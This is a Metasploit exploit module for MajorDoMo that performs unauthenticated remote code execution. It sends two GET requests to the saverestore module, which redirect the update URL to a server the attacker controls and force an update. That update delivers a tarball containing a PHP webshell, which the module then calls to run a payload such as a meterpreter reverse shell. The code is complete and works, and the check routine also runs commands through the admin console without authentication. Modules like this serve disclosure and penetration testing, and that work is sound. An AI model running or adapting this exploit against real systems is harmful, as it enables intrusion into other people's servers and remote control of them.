## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rubygems/package' require 'zlib' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's admin() method is reachable without authentication through the /objects/?module=saverestore endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST) instead of $this->mode for mode checks. Two unauthenticated GET requests chain together for full RCE: 1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server 2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree() The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity check. The attacker serves a fake Atom feed with an entry older than the configured delay (default 1 day) and a tarball containing a PHP webshell. After deployment, the module executes the payload through the webshell. All versions of MajorDoMo up to and including the latest release are affected. The fix is tracked in PR sergejey/majordomo#1177. }, 'Author' => [ 'Valentin Lobstein ' # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-27180'], ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'], ['URL', 'https://github.com/sergejey/majordomo/pull/1177'] ], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-02-18', 'DefaultOptions' => { 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']), OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30]) ]) deregister_options('SRVURI') end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'objects', ''), 'method' => 'GET', 'vars_get' => { 'module' => 'saverestore' } ) return CheckCode::Unknown('Failed to connect to the target.') unless res unless res.body.to_s.include?('MajorDoMo') || res.code == 200 return CheckCode::Safe('Target does not appear to be MajorDoMo') end marker = Rex::Text.rand_text_alphanumeric(8) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'method' => 'GET', 'vars_get' => { 'ajax_panel' => '1', 'op' => 'console', 'command' => "echo '#{marker}';" } ) if res&.body.to_s.include?(marker) return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)') end CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access') end def build_atom_feed commit_id = Rex::Text.rand_text_hex(40) # Entry must be older than the configured delay (default 1 day) old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ') <<~ATOM MajorDoMo tag:github.com,2008:Grit::Commit/#{commit_id} #{old_date} Update ATOM end def build_tarball(shell_name, php_code) tar_io = StringIO.new tar_io.set_encoding('ASCII-8BIT') Gem::Package::TarWriter.new(tar_io) do |tar| tar.mkdir('majordomo-master', 0o755) tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io| io.write(php_code) end end gz_io = StringIO.new gz_io.set_encoding('ASCII-8BIT') gz = Zlib::GzipWriter.new(gz_io) gz.write(tar_io.string) gz.close gz_io.string end def poison_update_url(url) vprint_status("Poisoning update URL to: #{url}") send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'objects', ''), 'method' => 'GET', 'vars_get' => { 'module' => 'saverestore', 'mode' => 'auto_update_settings', 'set_update_url' => url } ) end def trigger_update vprint_status('Triggering force_update...') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'objects', ''), 'method' => 'GET', 'vars_get' => { 'module' => 'saverestore', 'mode' => 'force_update' } ) end def execute_webshell(shell_name) vprint_status("Executing payload via webshell: #{shell_name}") send_request_cgi( 'uri' => normalize_uri(target_uri.path, shell_name), 'method' => 'GET' ) end def exploit shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php" php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) php_code = "" atom_feed = build_atom_feed tarball = build_tarball(shell_name, php_code) feed_served = false tarball_served = false # Start HTTP server to serve the Atom feed and tarball # MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed start_service({ 'Uri' => { 'Proc' => proc do |cli, req| path = req.uri vprint_status("Received request: #{path}") if path.include?('.atom') print_status('Serving fake Atom feed...') send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' }) feed_served = true elsif path.include?('.tar.gz') print_status("Serving malicious tarball (#{tarball.length} bytes)...") send_response(cli, tarball, { 'Content-Type' => 'application/gzip' }) tarball_served = true else send_not_found(cli) end end, 'Path' => '/' }, 'SSL' => false }) srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz" poison_update_url(srv_url) trigger_update # Wait for MajorDoMo to fetch the feed and tarball timeout = datastore['UPDATE_TIMEOUT'] print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...") timeout.times do break if feed_served && tarball_served Rex.sleep(1) end unless feed_served && tarball_served fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.') end # Give MajorDoMo time to extract and deploy print_status('Update fetched, waiting for deployment...') Rex.sleep(3) register_file_for_cleanup(shell_name) execute_webshell(shell_name) end end